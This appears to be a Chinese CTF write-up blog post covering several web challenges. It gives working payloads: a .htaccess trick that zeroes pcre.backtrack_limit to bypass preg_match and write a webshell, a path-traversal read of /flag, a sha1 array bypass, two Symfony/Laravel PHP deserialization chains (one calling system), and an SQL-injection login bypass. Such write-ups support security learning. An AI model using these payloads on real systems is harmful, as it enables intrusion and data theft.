《PHP利用PCRE回溯次数限制绕过某些安全限制》 这篇文章中提到了一个正则回朔绕过 preg_match 检测的方法。即 PHP 的配置选项 pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match 会返回false,我们可以通过这一点来绕过 preg_match 等函数正则匹配的检测。

由于 .htaccess 可以设定 PHP 的配置选项,那我们便可以将 pcre.backtrack_limit 设为 0 ,从而利用这个漏洞:

php_value pcre.backtrack_limit 0php_value pcre.jit 0# \

题目代码中的 preg_match 使用正则匹配限制filename只能是 a-z 和点号 . ,那我们便可以通过写入 .htaccess 设置回溯次数(pcre.backtrack_limit)为 0,从而绕过这里的正则回溯,直接将我们的Webshell写入fl3g.php。

php_value pcre.backtrack_limit 0

php_value pcre.jit 0

url编码后的payload:

/index.php?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%20%5C

然后访问以下 url 将 Webshell 写入fl3g.php:

/index.php?filename=fl3g.php&content=<?php phpinfo();?>

 

[网鼎杯 2020 半决赛]AliceWebsite

由提供的附件源码可知,存在任意文件读取漏洞

/index.php?action=../../../../../flag

[极客大挑战 2020]Roamphp1-Welcome

Get访问为空白页面,POST访问即可出现源码

POST传参 roam1[]=1&roam2[]=2   用到了sha1函数的漏洞,不能处理数组

[CISCN2019 总决赛 Day1 Web4]Laravel1

传参反序列化。

Exp:https://xz.aliyun.com/t/5816#toc-3

<?php

namespace Symfony\Component\Cache{

    final class CacheItem{

    }

}

namespace Symfony\Component\Cache\Adapter{

    use Symfony\Component\Cache\CacheItem;

    class PhpArrayAdapter{

        private $file;

        public function __construct()

        {

            $this->file = '/flag';

        }

    }

    class TagAwareAdapter{

        private $deferred = [];

        private $pool;

        public function __construct()

        {

            $this->deferred = array('flight' => new CacheItem());

            $this->pool = new PhpArrayAdapter();

        }

    }

}

namespace {

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    $obj = new TagAwareAdapter();

    echo urlencode(serialize($obj));

}

还有一种exp:

<?php

namespace Symfony\Component\Cache;

class CacheItem

{

    protected $innerItem = 'cat /flag';

}

namespace Symfony\Component\Cache\Adapter;

class ProxyAdapter

{

       private $setInnerItem = 'system';

}

class TagAwareAdapter

{

       public $deferred = [];

       public function __construct()

    {

           $this->pool = new ProxyAdapter();

    }

}

$a = new TagAwareAdapter();

$a -> deferred = array('a' => new \Symfony\Component\Cache\CacheItem);

echo urlencode(serialize($a));

原文章链接不可访问了,有空自己理一遍

[RootersCTF2019]babyWeb

直接告诉了过滤的字符

order by测试字段数,发现当order by 2时返回正常order by 3返回没有这个字段,确定为两个字段,一个为uniqueid另一个应该就是flag

那么应该就是输入id判断登录,即可,尝试万能密码登录:1 or(1) limit 0,1 

limit 0,1是为了回显出flag

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值